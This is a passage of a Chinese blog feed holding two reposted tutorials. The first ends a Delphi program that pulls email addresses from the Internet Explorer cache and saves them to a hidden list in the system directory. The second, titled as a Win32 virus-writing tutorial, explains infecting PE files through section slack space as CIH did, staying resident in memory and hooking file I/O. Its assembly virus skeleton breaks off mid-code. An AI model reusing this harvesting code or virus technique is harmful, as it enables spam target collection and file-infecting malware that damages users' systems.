src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>Address:</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">''</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">首先清空address&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">Readln(f,s);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">读取一行字符串到s中&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">Position:</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">Pos(</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">mailto:</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">,S);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">查找首个"mailto:"在s中的地址，如果一行中含有多个"mailto:"则需要你自己修改修改&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;Position&nbsp;</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">&nbsp;then&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>begin&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000">&nbsp;i:</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">Position</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">7</span><span style="COLOR: #000000">&nbsp;to&nbsp;length(S)&nbsp;</span><span style="COLOR: #0000ff">do</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">这里position+7里的7表示"mailto:"的长度&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">begin&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;((Upcase(s[i])</span><span style="COLOR: #000000">&lt;=</span><span style="COLOR: #000000">#</span><span style="COLOR: #000000">90</span><span style="COLOR: #000000">)&nbsp;and&nbsp;(Upcase(s[i])</span><span style="COLOR: #000000">&gt;=</span><span style="COLOR: #000000">#</span><span style="COLOR: #000000">64</span><span style="COLOR: #000000">))&nbsp;or&nbsp;((S[i]</span><span style="COLOR: #000000">&lt;=</span><span style="COLOR: #000000">#</span><span style="COLOR: #000000">57</span><span style="COLOR: #000000">)&nbsp;and&nbsp;(S[i]</span><span style="COLOR: #000000">&gt;=</span><span style="COLOR: #000000">#</span><span style="COLOR: #000000">48</span><span style="COLOR: #000000">))&nbsp;or&nbsp;(S[i]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">)&nbsp;then&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">判断是否有效字符&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">Address:</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">Address</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">S[i]&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">break</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>end;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(Address</span><span style="COLOR: #000000">&lt;&gt;</span><span style="COLOR: #000000">''</span><span style="COLOR: #000000">)&nbsp;and&nbsp;(Pos(</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">@</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">,Address)</span><span style="COLOR: #000000">&lt;&gt;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)&nbsp;then&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">如果是有效地址，就把它写到列表中去。&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">但是，可能这个地址以前已经存在在这个列表中，&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">所以我定义了一个函数WriteAddress来判断是否存在该地址&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">如果不存在，就添加到地址列表中去。&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">WriteAddress(Address);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>end;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>end;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>closefile(f);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>end;&nbsp;</span></div>
<p>现在搜索email地址只剩下最后一道工序了，那就是上面的WriteAddress函数， <br>用来判断地址的有效性。这个很简单， <br>我也不打算用什么数据结构或者算法，只是用最简便的方法来实现。 <br>程序代码如下: </p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">procedure&nbsp;WriteAddress(Address:</span><span style="COLOR: #0000ff">string</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>var&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>F:textfile;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>S,Str:</span><span style="COLOR: #0000ff">string</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>CanWrite:boolean;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>Path:array[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">..</span><span style="COLOR: #000000">255</span><span style="COLOR: #000000">]&nbsp;of&nbsp;</span><span style="COLOR: #0000ff">char</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>begin&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>GetSystemDirectory(path,</span><span style="COLOR: #000000">256</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">首先取得系统目录，到时候把email地址列表文件保存到这里。&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">Str:</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">Strpas(Path);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>CanWrite:</span><span style="COLOR: #000000">=</span><span style="COLOR: #0000ff">true</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>AssignFile(F,Str</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">/maillist.lst</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;FileExists(Str</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">/maillist.lst</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">=</span><span style="COLOR: #0000ff">false</span><span style="COLOR: #000000">&nbsp;then&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>begin&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>　&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">如果不存在maillist.lst，则信建一个文件maillist.lst来存放email地址。&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">Rewrite(F);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>writeln(F,Address);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>Closefile(F);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>exit;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>end&nbsp;</span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>begin&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>Reset(f);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">while</span><span style="COLOR: #000000">&nbsp;not&nbsp;Eof(F)&nbsp;</span><span style="COLOR: #0000ff">do</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>begin&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>Readln(F,S);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;Address</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">S&nbsp;then&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>begin&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>CanWrite:</span><span style="COLOR: #000000">=</span><span style="COLOR: #0000ff">false</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">break</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>end;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>end;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>CloseFile(F);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>end;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">上面用来和文件里以经存在的地址一个一个的进行效验，如果不存在就写到列表里去。&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;CanWrite&nbsp;then&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>begin&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>Append(F);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>Writeln(F,Address);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>CloseFile(F);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>end;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>end;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span></div>
<p>当然，如同我们上面所说，我只是用最简便的方法来做， <br>如果你要讲究效率，当然可以进行一些改动， <br>比如说搜索到的地址来做一个堆， <br>最后把堆里所有的地址都写到列表里来就可以了。 </p>
<p>好，现在你可以在你的主程序里简单的写几句代码来调用上面写的几个函数了， <br>如下: </p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">var&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>HK:HKEY;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>IeCache:array[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">..</span><span style="COLOR: #000000">255</span><span style="COLOR: #000000">]&nbsp;of&nbsp;</span><span style="COLOR: #0000ff">char</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>IeCacheLen:integer;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>S:</span><span style="COLOR: #0000ff">string</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>begin&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>IeCacheLen:</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">256</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">设置返回值的长度&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">RegOpenKey(HKEY_CURRENT_USER,</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">Software/Microsoft/Windows/CurrentVersion/Explorer/Shell&nbsp;Folders/</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">,HK);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>RegQueryvalueEx(HK,</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">Cache</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">,nil,nil,@IeCache,@ieCacheLen);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">读取IE缓存的路径&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">S:</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">Strpas(IeCache)</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">在刚才取得的路径后面加一个'/'&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">FindFiles(S);&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">调用我们自己写的函数&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">end;&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span></div>
<p>调用完毕后，email地址就都保存在系统目录的maillist.lst文件中了。</p>
<img src ="http://www.cnitblog.com/Walter/aggbug/52049.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Walter/" target="_blank">HQ</a> 2008-11-28 21:09 <a href="http://www.cnitblog.com/Walter/articles/52049.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>编写Win32位病毒教程（2） (转)</title><link>http://www.cnitblog.com/Walter/articles/52048.html</link><dc:creator>HQ</dc:creator><author>HQ</author><pubDate>Fri, 28 Nov 2008 13:00:00 GMT</pubDate><guid>http://www.cnitblog.com/Walter/articles/52048.html</guid><wfw:comment>http://www.cnitblog.com/Walter/comments/52048.html</wfw:comment><comments>http://www.cnitblog.com/Walter/articles/52048.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Walter/comments/commentRss/52048.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Walter/services/trackbacks/52048.html</trackback:ping><description><![CDATA[<p>本文假定你对dos下的病毒和386PM有一定的了解。 </p>
<p>1、感染任何一个病毒都需要有寄主，把病毒代码加入寄主程序中</p>
<p>（伴侣病毒除外）。 </p>
<p>以下说明如何将病毒代码嵌入PE文件中，有关PE文件的结构请看以前的文章。 PE文件的典型结构： MZ Header DOS STUB CODE PE HEADER OPTIONAL HEADER SECTION TABLE SECTION 1 SECTION 2 ... IMPORT TABLE EXPORT TABLE 和DOS的可执行文件类似，PE的代码映象分为几个SECTION，在文件中会对齐 </p>
<p>页边界（4K）。一般来说，文件会加载在400000h开始的空间，而第一个SECTION在401000h处，同时入口地址也是401000h。由高级语言编写的程序，每个SECTIO-N的长度不可能刚好是4K的倍数，因此在SECTION的末尾将会存在一段未用的空间 ， 大小可由Section的PHYSICAL SIZE－VIRTUALSIZE得到，在文件中起始位置可由 PHYSICAL OFFSET得到，这段空间可以用来存放病毒代码。此外一般来说， MZ Header+DOS STUD+PE </p>
<p>HEADER+OPTIONAL HEADER+SECTION TABLE不过1K左右， 而SECTION 1由4K开始，空出来的地方足够存放一个设计精良的病毒。CIH就是将 代码存放在这些空闲空间里。 </p>
<p>2、分配驻留所需内存</p>
<p>对于驻留形的病毒，分配驻留所需内存是必需的。在DOS下使用由于所有的 应用程序都映射在相同的线性地址空间里，使用一般的内存分配调用就足够了。而在WIN32下，每个应用程序都有自己的线性地址空间，必须使用特殊的函数分配2GB以上的系统地址。典型的如：VXD服务_PageAllocate，和kernel32的 VxDCALL </p>
<p>_PageReserve。_PageAllocate请参看win98ddk中的说明，VxDCall _PageReserve 请参看HPS源码中的注释。 </p>
<p>3、截留FILE I/O操作 驻留型的病毒通过截留FILE I/O来激活，可以通过使用VXD服务 </p>
<p>IFSMgr_Install-FileSystemAPIHook（如CIH）或截留VxDCall中的DOS Services callback（如HPS）。 </p>
<p>在Win32下编写病毒不是一件困难的事。值得注意的有几件事： </p>
<p>一、Win32下的系统功能调用不是通过中断实现，而是由DLL中导出。</p>
<p>（直接使用VxD服务除外）。直接在病毒中得到API入口不是一件容易的事，可以通过以下这个变通的方法。 </p>
<p>在同一个版本的Windows下，同一个核心函数的入口总是固定的</p>
<p>（指由Kernel32,gdi32,user32导出的函数）。因此可以用以下的方法得到函数入口： </p>
<p>&nbsp;</p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">.386p&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>.model&nbsp;flat,stdcall&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>extrn&nbsp;GetModuleHandleA:proc&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>extrn&nbsp;GetProcAddress:proc&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>extrn&nbsp;ExitProcess:proc&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>.data&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>szKernel&nbsp;db&nbsp;'KERNEL32.DLL',0&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>szFindFirst&nbsp;db&nbsp;'FindFirstFileA',0&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>szFindNext&nbsp;db&nbsp;'FindNextFileA',0&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>szFindClose&nbsp;db&nbsp;'FindClose',0&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>szGetCurrentDir&nbsp;db&nbsp;'GetCurrentDirectoryA',0&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>szGetWinDir&nbsp;db&nbsp;'GetWindowsDirectoryA',0&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>szGetSysDir&nbsp;db&nbsp;'GetSystemDirectoryA',0&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>szGetFileAttrib&nbsp;db&nbsp;'GetFileAttributesA',0&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>szSetFileAttrib&nbsp;db&nbsp;'SetFileAttributesA',0&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>szlopen&nbsp;db&nbsp;'_lopen',0&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>szlread&nbsp;db&nbsp;'_lread',0&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>szlwrite&nbsp;db&nbsp;'_lwrite',0&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>szlclose&nbsp;db&nbsp;'_lclose',0&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>szllseek&nbsp;db&nbsp;'_llseek',0&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>hKernel&nbsp;dd&nbsp;0&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>.code&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>;Initialize&nbsp;code&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>start:&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>push&nbsp;szKernel&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>call&nbsp;GetModuleHandleA&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>mov&nbsp;hKernel,eax&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>push&nbsp;szFindFirst&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>push&nbsp;hKernel&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>call&nbsp;GetProcAddress&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>mov&nbsp;FindFirstFile,eax&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><img src="http://www.cnitblog.com/Images/dot.gif">.&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>jmp&nbsp;VirusStart&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>InitExit:&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>push&nbsp;0&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>call&nbsp;ExitProcess&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>VirusStart:&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>jmp&nbsp;Entry&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>HostEntry&nbsp;dd&nbsp;InitExit&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>FindFirstFile&nbsp;dd&nbsp;0&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>FindNextFile&nbsp;dd&nbsp;0&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><img 